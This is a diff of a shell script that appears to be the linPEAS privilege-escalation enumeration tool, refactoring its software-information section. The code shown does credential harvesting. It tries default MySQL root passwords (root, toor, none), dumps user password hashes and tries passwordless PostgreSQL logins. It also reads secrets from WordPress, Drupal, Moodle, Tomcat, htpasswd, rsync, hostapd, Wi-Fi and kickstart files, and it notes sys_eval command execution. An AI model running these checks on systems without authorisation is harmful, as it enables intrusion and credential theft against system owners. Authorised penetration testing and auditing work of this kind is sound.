can't do it...)\n"$NC + print_2title "Do not forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)\n"$NC fi - printf $Y"[+] "$GREEN"Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC + print_2title "Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!\n"$NC echo "" echo "" if [ "$WAIT" ]; then echo "Press enter to continue"; read "asd"; fi @@ -1864,335 +1949,220 @@ if [ "`echo $CHECKS | grep SofI`" ]; then ########################################### #--------) Software Information (---------# ########################################### - printf $B"═══════════════════════════════════╣ "$GREEN"Software Information"$B" ╠═══════════════════════════════════\n"$NC + print_title "Software Information" #-- SI) Mysql version - printf $Y"[+] "$GREEN"MySQL version\n"$NC + print_2title "MySQL version" mysql --version 2>/dev/null || echo_not_found "mysql" echo "" #-- SI) Mysql connection root/root - printf $Y"[+] "$GREEN"MySQL connection using default root/root ........... "$NC + print_list "MySQL connection using default root/root ........... " mysqlconnect=`mysqladmin -uroot -proot version 2>/dev/null` if [ "$mysqlconnect" ]; then - echo "Yes" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + echo "Yes" | sed -${E} "s,.*,${SED_RED}," + mysql -u root --password=root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi #-- SI) Mysql connection root/toor - printf $Y"[+] "$GREEN"MySQL connection using root/toor ................... "$NC + print_list "MySQL connection using root/toor ................... " mysqlconnect=`mysqladmin -uroot -ptoor version 2>/dev/null` if [ "$mysqlconnect" ]; then - echo "Yes" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + echo "Yes" | sed -${E} "s,.*,${SED_RED}," + mysql -u root --password=toor -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi #-- SI) Mysql connection root/NOPASS mysqlconnectnopass=`mysqladmin -uroot version 2>/dev/null` - printf $Y"[+] "$GREEN"MySQL connection using root/NOPASS ................. "$NC + print_list "MySQL connection using root/NOPASS ................. " if [ "$mysqlconnectnopass" ]; then - echo "Yes" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + echo "Yes" | sed -${E} "s,.*,${SED_RED}," + mysql -u root -e "SELECT User,Host,authentication_string FROM mysql.user;" 2>/dev/null | sed -${E} "s,.*,${SED_RED}," else echo_no fi #-- SI) Mysql credentials - printf $Y"[+] "$GREEN"Searching mysql credentials and exec\n"$NC - mysqldirs=$(echo "$FIND_DIR_ETC\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_MNT" | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -v "mysql/mysql") - if [ "$mysqldirs" ]; then - printf "%s\n" "$mysqldirs" | while read d; do + print_2title "Searching mysql credentials and exec" + if [ "$PSTORAGE_MYSQL" ]; then + printf "%s\n" "$PSTORAGE_MYSQL" | while read d; do for f in `find $d -name debian.cnf 2>/dev/null`; do - if [ -r $f ]; then - echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + if [ -r $f ]; then + echo "We can read the mysql debian.cnf. You can use this username/password to log in MySQL" | sed -${E} "s,.*,${SED_RED}," cat "$f" fi done for f in `find $d -name user.MYD 2>/dev/null`; do - if [ -r "$f" ]; then - echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - grep -oaE "[-_\.\*a-Z0-9]{3,}" $f | grep -v "mysql_native_password" + if [ -r "$f" ]; then + echo "We can read the Mysql Hashes from $f" | sed -${E} "s,.*,${SED_RED}," + grep -oaE "[-_\.\*a-Z0-9]{3,}" $f | grep -v "mysql_native_password" fi done for f in `grep -lr "user\s*=" $d 2>/dev/null | grep -v "debian.cnf"`; do if [ -r "$f" ]; then u=`cat "$f" | grep -v "#" | grep "user" | grep "=" 2>/dev/null` - echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${C}[1;34m&${C}[0m," | sed -${E} "s,$knw_usrs,${C}[1;32m&${C}[0m," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${C}[1;31m&${C}[0m," + echo "From '$f' Mysql user: $u" | sed -${E} "s,$sh_usrs,${C}[1;96m&${C}[0m," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${C}[1;95m&${C}[0m," | sed "s,root,${SED_RED}," fi done for f in `find $d -name my.cnf 2>/dev/null`; do - if [ -r "$f" ]; then + if [ -r "$f" ]; then echo "Found readable $f" - cat "$f" | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v "^$" | sed "s,password.*,${C}[1;31m&${C}[0m," + cat "$f" | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -Iv "^$" | sed "s,password.*,${SED_RED}," fi done mysqlexec=`whereis lib_mysqludf_sys.so 2>/dev/null | grep "lib_mysqludf_sys\.so"` - if [ "$mysqlexec" ]; then + if [ "$mysqlexec" ]; then echo "Found $mysqlexec" - echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + echo "If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');" | sed -${E} "s,.*,${SED_RED}," fi done else echo_not_found fi echo "" - #-- SI) PostgreSQL info - printf $Y"[+] "$GREEN"PostgreSQL version and pgadmin credentials\n"$NC - postgver=`psql -V 2>/dev/null` - postgdb=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'pgadmin.*\.db$') - postgconfs=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$') - if [ "$postgver" ] || [ "$postgdb" ] || [ "$postgconfs" ]; then - if [ "$postgver" ]; then echo "Version: $postgver"; fi - if [ "$postgdb" ]; then echo "PostgreSQL database: $postgdb" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; fi - printf "%s\n" "$postgconfs" | while read f; do - if [ -r "$f" ]; then - echo "Found readable $f" - cat "$f" | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v "^$" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${C}[1;31m&${C}[0m," 2>/dev/null - echo "" - fi - done - else echo_not_found - fi - echo "" + print_2title "Analizing PostgreSQL Files (limit 70)" + echo "Version: $(warn_exec psql -V 2>/dev/null)" + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgadmin.*\.db$\"`" ]; then echo_not_found "pgadmin*.db"; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgadmin.*\.db$" | while read f; do ls -ld "$f" | sed -${E} "s,pgadmin.*\.db$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pg_hba\.conf$\"`" ]; then echo_not_found "pg_hba.conf"; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pg_hba\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,pg_hba\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"postgresql\.conf$\"`" ]; then echo_not_found "postgresql.conf"; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "postgresql\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,postgresql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_POSTGRESQL\" | grep -E \"pgsql\.conf$\"`" ]; then echo_not_found "pgsql.conf"; fi; printf "%s" "$PSTORAGE_POSTGRESQL" | grep -E "pgsql\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,pgsql\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,auth|password|md5|user=|pass=|trust,${SED_RED},g"; done; echo ""; + #-- SI) PostgreSQL brute if [ "$TIMEOUT" ]; then # In some OS (like OpenBSD) it will expect the password from console and will pause the script. Also, this OS doesn't have the "timeout" command so lets only use this checks in OS that has it. #checks to see if any postgres password exists and connects to DB 'template0' - following commands are a variant on this - printf $Y"[+] "$GREEN"PostgreSQL connection to template0 using postgres/NOPASS ........ "$NC - if [ "`timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null`" ]; then echo "Yes" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + print_list "PostgreSQL connection to template0 using postgres/NOPASS ........ " + if [ "`timeout 1 psql -U postgres -d template0 -c 'select version()' 2>/dev/null`" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," else echo_no fi - printf $Y"[+] "$GREEN"PostgreSQL connection to template1 using postgres/NOPASS ........ "$NC - if [ "`timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null`" ]; then echo "Yes" | sed "s,.)*,${C}[1;31m&${C}[0m," + print_list "PostgreSQL connection to template1 using postgres/NOPASS ........ " + if [ "`timeout 1 psql -U postgres -d template1 -c 'select version()' 2>/dev/null`" ]; then echo "Yes" | sed "s,.)*,${SED_RED}," else echo_no fi - printf $Y"[+] "$GREEN"PostgreSQL connection to template0 using pgsql/NOPASS ........... "$NC - if [ "`timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null`" ]; then echo "Yes" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + print_list "PostgreSQL connection to template0 using pgsql/NOPASS ........... " + if [ "`timeout 1 psql -U pgsql -d template0 -c 'select version()' 2>/dev/null`" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," else echo_no fi - printf $Y"[+] "$GREEN"PostgreSQL connection to template1 using pgsql/NOPASS ........... "$NC - if [ "`timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null`" ]; then echo "Yes" | sed -${E} "s,.*,${C}[1;31m&${C}[0m," + print_list "PostgreSQL connection to template1 using pgsql/NOPASS ........... " + if [ "`timeout 1 psql -U pgsql -d template1 -c 'select version()' 2> /dev/null`" ]; then echo "Yes" | sed -${E} "s,.*,${SED_RED}," else echo_no fi echo "" fi - #-- SI) Apache info - printf $Y"[+] "$GREEN"Apache server info\n"$NC - apachever=`apache2 -v 2>/dev/null; httpd -v 2>/dev/null` - if [ "$apachever" ]; then - echo "Version: $apachever" - sitesenabled=$(echo "$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_HOME\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_OPT\n$FIND_DIR_USERS\n$FIND_DIR_PRIVATE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_MNT" | grep "sites-enabled") - printf "%s\n" "$sitesenabled" | while read d; do for f in "$d/*"; do grep "AuthType\|AuthName\|AuthUserFile\|ServerName\|ServerAlias" $f 2>/dev/null | grep -v "#" | sed "s,Auth|ServerName|ServerAlias,${C}[1;31m&${C}[0m,"; done; done - if [ !"$sitesenabled" ]; then - default00=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep "000-default") - printf "%s\n" "$default00" | while read f; do grep -E "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias" "$f" 2>/dev/null | grep -v "#" | sed -${E} "s,Auth|ServerName|ServerAlias,${C}[1;31m&${C}[0m,"; done - fi - echo "PHP exec extensions" + print_2title "Analizing Mongo Files (limit 70)" + echo "Version: $(warn_exec mongo --version 2>/dev/null; warn_exec mongod --version 2>/dev/null)" + if ! [ "`echo \"$PSTORAGE_MONGO\" | grep -E \"mongod.*\.conf$\"`" ]; then echo_not_found "mongod*.conf"; fi; printf "%s" "$PSTORAGE_MONGO" | grep -E "mongod.*\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,mongod.*\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#"; done; echo ""; + + + print_2title "Analizing Apache Files (limit 70)" + echo "Version: $(warn_exec apache2 -v 2>/dev/null; warn_exec httpd -v 2>/dev/null)" + print_3title 'PHP exec extensions' grep -R -B1 "httpd-php" /etc/apache2 2>/dev/null - else echo_not_found - fi - echo "" + if ! [ "`echo \"$PSTORAGE_APACHE\" | grep -E \"sites-enabled$\"`" ]; then echo_not_found "sites-enabled"; fi; printf "%s" "$PSTORAGE_APACHE" | grep -E "sites-enabled$" | while read f; do ls -ld "$f" | sed -${E} "s,sites-enabled$,${SED_RED},"; for ff in $(find "$f" -name "*"); do ls -ld "$ff" | sed -${E} "s,,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "AuthType|AuthName|AuthUserFile|ServerName|ServerAlias" | grep -Ev "^#" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_APACHE\" | grep -E \"000-default$\"`" ]; then echo_not_found "000-default"; fi; printf "%s" "$PSTORAGE_APACHE" | grep -E "000-default$" | while read f; do ls -ld "$f" | sed -${E} "s,000-default$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,AuthType|AuthName|AuthUserFile|ServerName|ServerAlias,${SED_RED},g"; done; echo ""; - #-- SI) PHP cookies files - phpsess1=`ls /var/lib/php/sessions 2>/dev/null` - phpsess2=$(echo "$FIND_TMP\n$FIND_VAR\n$FIND_MNT" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*') - printf $Y"[+] "$GREEN"Searching PHPCookies\n"$NC - if [ "$phpsess1" ] || [ "$phpsess2" ]; then - if [ "$phpsess1" ]; then ls /var/lib/php/sessions 2>/dev/null; fi - if [ "$phpsess2" ]; then $(echo "$FIND_TMP $FIND_VAR" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*'); fi - else echo_not_found - fi - echo "" - #-- SI) Wordpress user, password, databname and host - printf $Y"[+] "$GREEN"Searching Wordpress wp-config.php files\n"$NC - wp=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'wp-config\.php$') - if [ "$wp" ]; then - printf "$wp\n" | while read f; do echo "$f"; grep -E "PASSWORD|USER|NAME|HOST" "$f" 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; echo ""; done - else echo_not_found "wp-config.php" - fi - echo "" + print_2title "Analizing Tomcat Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_TOMCAT\" | grep -E \"tomcat-users\.xml$\"`" ]; then echo_not_found "tomcat-users.xml"; fi; printf "%s" "$PSTORAGE_TOMCAT" | grep -E "tomcat-users\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,tomcat-users\.xml$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username=|password=" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; - #-- SI) Drupal user, password, databname and host - printf $Y"[+] "$GREEN"Searching Drupal settings.php files\n"$NC - drup=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'settings\.php$') - if [ "$drup" ]; then - printf "%s\n" "$drup" | while read f; do - if [ "`echo $f | grep '/default/settings.php'`" ]; then #Check path /default/settings.php - printf "Drupal settings.php file found: $f\n" - grep -E "drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'" $f 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; - echo "" - fi - done - else echo_not_found "/default/settings.php" - fi - echo "" + + print_2title "Analizing FastCGI Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_FASTCGI\" | grep -E \"fastcgi_params$\"`" ]; then echo_not_found "fastcgi_params"; fi; printf "%s" "$PSTORAGE_FASTCGI" | grep -E "fastcgi_params$" | while read f; do ls -ld "$f" | sed -${E} "s,fastcgi_params$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "DB_NAME|DB_USER|DB_PASS" | sed -${E} "s,DB_NAME|DB_USER|DB_PASS,${SED_RED},g"; done; echo ""; - #-- SI) Moodle user, password, databname and host - printf $Y"[+] "$GREEN"Searching Moodle config.php files\n"$NC - moo=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'config\.php$') - if [ "$moo" ]; then - printf "%s\n" "$moo" | while read f; do - if [ "`echo $f | grep -i moodle/config.php`" ]; then - printf "Moodle config.php file found: $f\n" - grep -E "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" $f 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; - fi - done - else echo_not_found "config.php inside a moodle folder" - fi - echo "" - #-- SI) Tomcat users - printf $Y"[+] "$GREEN"Searching Tomcat users file\n"$NC - tomcat=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'tomcat-users\.xml$') - if [ "$tomcat" ]; then - echo "tomcat-users.xml file found: $tomcat" - printf "%s\n" "$tomcat" | while read f; do grep "username=" "$f" 2>/dev/null | grep "password=" | sed -${E} "s,.*,${C}[1;31m&${C}[0m,"; done - else echo_not_found "tomcat-users.xml" - fi - echo "" + print_2title "Analizing Http conf Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_HTTP_CONF\" | grep -E \"httpd\.conf$\"`" ]; then echo_not_found "httpd.conf"; fi; printf "%s" "$PSTORAGE_HTTP_CONF" | grep -E "httpd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,httpd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "htaccess.*|htpasswd.*" | grep -Ev "\W+\#|^#" | sed -${E} "s,htaccess.*|htpasswd.*,${SED_RED},g"; done; echo ""; - #-- SI) Mongo Information - printf $Y"[+] "$GREEN"Mongo information\n"$NC - mongos=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'mongod.*\.conf$') - (mongo --version 2>/dev/null || mongod --version 2>/dev/null) || echo_not_found "mongo binary" - printf "%s\n" "$mongos" | while read f; do - if [ "$f" ]; then - echo "Found $f" - cat "$f" | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v "^$" | sed -${E} "s,auth*=*true|pass.*,${C}[1;31m&${C}[0m," 2>/dev/null - fi - done - #TODO: Check if you can login without password and warn the user - echo "" + print_2title "Analizing Htpasswd Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_HTPASSWD\" | grep -E \"\.htpasswd$\"`" ]; then echo_not_found ".htpasswd"; fi; printf "%s" "$PSTORAGE_HTPASSWD" | grep -E "\.htpasswd$" | while read f; do ls -ld "$f" | sed -${E} "s,\.htpasswd$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; - #-- SI) Supervisord conf file - printf $Y"[+] "$GREEN"Searching supervisord configuration file\n"$NC - supervisorf=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'supervisord\.conf') - if [ "$supervisorf" ]; then - printf "%s\n" "$supervisorf" | while read f; do - echo "Found $f"; - cat "$f" 2>/dev/null | grep -E "port.*=|username.*=|password.*=" | sed -${E} "s,port|username|password,${C}[1;31m&${C}[0m,"; - done - else echo_not_found "supervisord.conf" - fi - echo "" - #-- SI) Cesi conf file - cesi=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'cesi\.conf') - printf $Y"[+] "$GREEN"Searching cesi configuration file\n"$NC - if [ "$cesi" ]; then - printf "$cesi\n" - printf "%s\n" "$cesi" | while read f; do cat "$f" 2>/dev/null | grep "username.*=\|password.*=\|host.*=\|port.*=\|database.*=" | sed -${E} "s,username|password|database,${C}[1;31m&${C}[0m,"; done - else echo_not_found "cesi.conf" - fi - echo "" + print_2title "Analizing PHPCookies Files (limit 70)" + ls /var/lib/php/sessions 2>/dev/null || echo_not_found /var/lib/php/sessions + if ! [ "`echo \"$PSTORAGE_PHPCOOKIES\" | grep -E \"sess_.*$\"`" ]; then echo_not_found "sess_*"; fi; printf "%s" "$PSTORAGE_PHPCOOKIES" | grep -E "sess_.*$" | while read f; do ls -ld "$f" | sed -${E} "s,sess_.*$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$"; done; echo ""; - #-- SI) Rsyncd conf file - rsyncd=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'rsyncd\.conf|rsyncd\.secrets') - printf $Y"[+] "$GREEN"Searching Rsyncd config file\n"$NC - if [ "$rsyncd" ]; then - printf "%s\n" "$rsyncd" | while read f; do - printf "$f\n" - if [ `echo "$f" | grep -i "secrets"` ]; then - cat "$f" 2>/dev/null | sed -${E} "s,.*,${C}[1;31m&${C}[0m," - else - cat "$f" 2>/dev/null | grep -v "^#" | grep -Ev "\W+\#|^#" 2>/dev/null | grep -v "^$" | sed -${E} "s,secrets.*|auth.*users.*=,${C}[1;31m&${C}[0m," - fi - echo "" - done - else echo_not_found "rsyncd.conf" - fi - #-- SI) Hostapd conf file - printf $Y"[+] "$GREEN"Searching Hostapd config file\n"$NC - hostapd=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'hostapd\.conf') - if [ "$hostapd" ]; then - printf $Y"[+] "$GREEN"Hostapd conf was found\n"$NC - printf "$hostapd\n" - printf "%s\n" "$hostapd" | while read f; do cat "$f" 2>/dev/null | grep "passphrase" | sed "s,passphrase.*,${C}[1;31m&${C}[0m,"; done - else echo_not_found "hostapd.conf" - fi - echo "" + print_2title "Analizing Wordpress Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_WORDPRESS\" | grep -E \"wp-config\.php$\"`" ]; then echo_not_found "wp-config.php"; fi; printf "%s" "$PSTORAGE_WORDPRESS" | grep -E "wp-config\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,wp-config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "PASSWORD|USER|NAME|HOST" | sed -${E} "s,PASSWORD|USER|NAME|HOST,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Drupal Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_DRUPAL\" | grep -E \"settings\.php$\"`" ]; then echo_not_found "settings.php"; fi; printf "%s" "$PSTORAGE_DRUPAL" | grep -E "settings\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,settings\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix'" | sed -${E} "s,drupal_hash_salt|'database'|'username'|'password'|'host'|'port'|'driver'|'prefix',${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Moodle Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_MOODLE\" | grep -E \"config\.php$\"`" ]; then echo_not_found "config.php"; fi; printf "%s" "$PSTORAGE_MOODLE" | grep -E "config\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,config\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "dbtype|dbhost|dbuser|dbhost|dbpass|dbport" | sed -${E} "s,dbtype|dbhost|dbuser|dbhost|dbpass|dbport,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Supervisord Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_SUPERVISORD\" | grep -E \"supervisord\.conf$\"`" ]; then echo_not_found "supervisord.conf"; fi; printf "%s" "$PSTORAGE_SUPERVISORD" | grep -E "supervisord\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,supervisord\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "port.*=|username.*=|password.*=" | sed -${E} "s,port.*=|username.*=|password.*=,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Cesi Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_CESI\" | grep -E \"cesi\.conf$\"`" ]; then echo_not_found "cesi.conf"; fi; printf "%s" "$PSTORAGE_CESI" | grep -E "cesi\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,cesi\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "username.*=|password.*=|host.*=|port.*=|database.*=" | sed -${E} "s,username.*=|password.*=|host.*=|port.*=|database.*=,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Rsync Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.conf$\"`" ]; then echo_not_found "rsyncd.conf"; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,rsyncd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "\W+\#|^#" | sed -${E} "s,secrets.*|auth.*users.*=,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_RSYNC\" | grep -E \"rsyncd\.secrets$\"`" ]; then echo_not_found "rsyncd.secrets"; fi; printf "%s" "$PSTORAGE_RSYNC" | grep -E "rsyncd\.secrets$" | while read f; do ls -ld "$f" | sed -${E} "s,rsyncd\.secrets$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + + + print_2title "Analizing Hostapd Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_HOSTAPD\" | grep -E \"hostapd\.conf$\"`" ]; then echo_not_found "hostapd.conf"; fi; printf "%s" "$PSTORAGE_HOSTAPD" | grep -E "hostapd\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,hostapd\.conf$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | sed -${E} "s,passphrase.*,${SED_RED},g"; done; echo ""; + #-- SI) Wifi conns - printf $Y"[+] "$GREEN"Searching wifi conns file\n"$NC + print_2title "Searching wifi conns file" wifi=`find /etc/NetworkManager/system-connections/ -type f 2>/dev/null` if [ "$wifi" ]; then - printf "%s\n" "$wifi" | while read f; do echo "$f"; cat "$f" 2>/dev/null | grep "psk.*=" | sed "s,psk.*,${C}[1;31m&${C}[0m,"; done + printf "%s\n" "$wifi" | while read f; do echo "$f"; cat "$f" 2>/dev/null | grep "psk.*=" | sed "s,psk.*,${SED_RED},"; done else echo_not_found fi echo "" - #-- SI) Anaconda-ks conf files - printf $Y"[+] "$GREEN"Searching Anaconda-ks config files\n"$NC - anaconda=$(echo "$FIND_VAR\n$FIND_ETC\n$FIND_HOME\n$FIND_TMP\n$FIND_USR\n$FIND_OPT\n$FIND_PRIVATE\n$FIND_APPLICATIONS\n$FIND_MNT" | grep -E 'anaconda-ks\.cfg') - if [ "$anaconda" ]; then - printf "$anaconda\n" - printf "%s\n" "$anaconda" | while read f; do cat "$f" 2>/dev/null | grep "rootpw" | sed "s,rootpw.*,${C}[1;31m&${C}[0m,"; done - else echo_not_found "anaconda-ks.cfg" - fi - echo "" + print_2title "Analizing Anaconda-ks Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_ANACONDA_KS\" | grep -E \"anaconda-ks\.cfg$\"`" ]; then echo_not_found "anaconda-ks.cfg"; fi; printf "%s" "$PSTORAGE_ANACONDA_KS" | grep -E 